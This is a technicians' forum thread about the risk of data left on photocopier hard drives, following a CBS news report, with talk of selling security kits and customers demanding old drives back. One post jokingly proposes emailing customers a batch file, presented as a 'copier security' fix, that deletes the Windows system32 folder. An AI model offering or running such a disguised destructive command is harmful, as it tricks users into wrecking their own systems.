Here we go again with security.

[nmfaxman]

Photocopier Fallout: Congress, FTC "Concerned" - CBS Evening News - CBS News

This is going to get worse before it gets better

[SCREWTAPE]

This has brought a couple of my big firms that I service some concern.
I told them to invest into some sercurity kits. One firm alone was about $5000.
I don't care. Brings us money. I guess, it does get better.

[Dalamar]

Or send anonymous email :
fix copier security! simply Open Notepad and type in the following:
"@echo off del c:\WINDOWS\system32"
Save the file as anything.bat
Then double click the document!

Wait a few days then call them and inform them of you new IT dept.

[KenB]

I just had a hospital demand that they get the hard drives back out of the 100 or so machines that they traded in... last year.

Anybody else have such a request?

[davidj7]

ask them to send you back in time by a year so you can get them.

[mrwho]

... or just send some metal filings and explain them that's all you can recover at this point.

[DallasTech]

We have had a lot of customers recently start worrying about this. One of our customers was a private military contractor that works on classified information. They called us freaking out about a copier we just replaced a week ago, demanding their hard drive back. Luckily for us, the copier was a di550 and didn't have one in it.

This is ultimately the customer's responsibility, but I feel as if some of our customers are looking to blame the copier industry, (like the copier's were designed to steal vital information) which annoys me to a point. I guess it's a good thing that you can sell data security kits and charge the customer for replacing the hard drives to return the old ones to them.

[TonerMunkeh]

As mentioned in the other thread, fit a new HDD before selling a machine, include it in the cost of the sale and show the customer how proactive you are with their security in mind.

[DallasTech]

As mentioned in the other thread, fit a new HDD before selling a machine, include it in the cost of the sale and show the customer how proactive you are with their security in mind.

Sales guys would flip out on me if I asked them to do that. But, that's a great idea.

[fixthecopier]

We have had a lot of customers recently start worrying about this. One of our customers was a private military contractor that works on classified information. They called us freaking out about a copier we just replaced a week ago, demanding their hard drive back. Luckily for us, the copier was a di550 and didn't have one in it.

This is ultimately the customer's responsibility, but I feel as if some of our customers are looking to blame the copier industry, (like the copier's were designed to steal vital information) which annoys me to a point. I guess it's a good thing that you can sell data security kits and charge the customer for replacing the hard drives to return the old ones to them.

You should have told them that a tech you fired last week took them and has them on e-bay, and the bidding is up over $10,000 from some Chinese company. Then when they calm down, ask if they want you to teach them anything else about their systems, that they should already know.

[charm5496]

we just billed $9000 to clear the data of 70 machines at one customers location. This has become a very lucrative deal for us and the new customers are now purchasing the security kits and HDD kits to secure documents on the new devices. This in turn has provided us with even more revenue.

[TonerMunkeh]

I'm wondering if manufacturers are able to keep up with the massive demand for the DOS kits and their equivalent?

[KenB]

I'm wondering if manufacturers are able to keep up with the massive demand for the DOS kits and their equivalent?

I'm sure they'll be on back order before you know it.

[TonerMunkeh]

Probably. However much of a nightmare this has been for us, it's making some a shitload of money!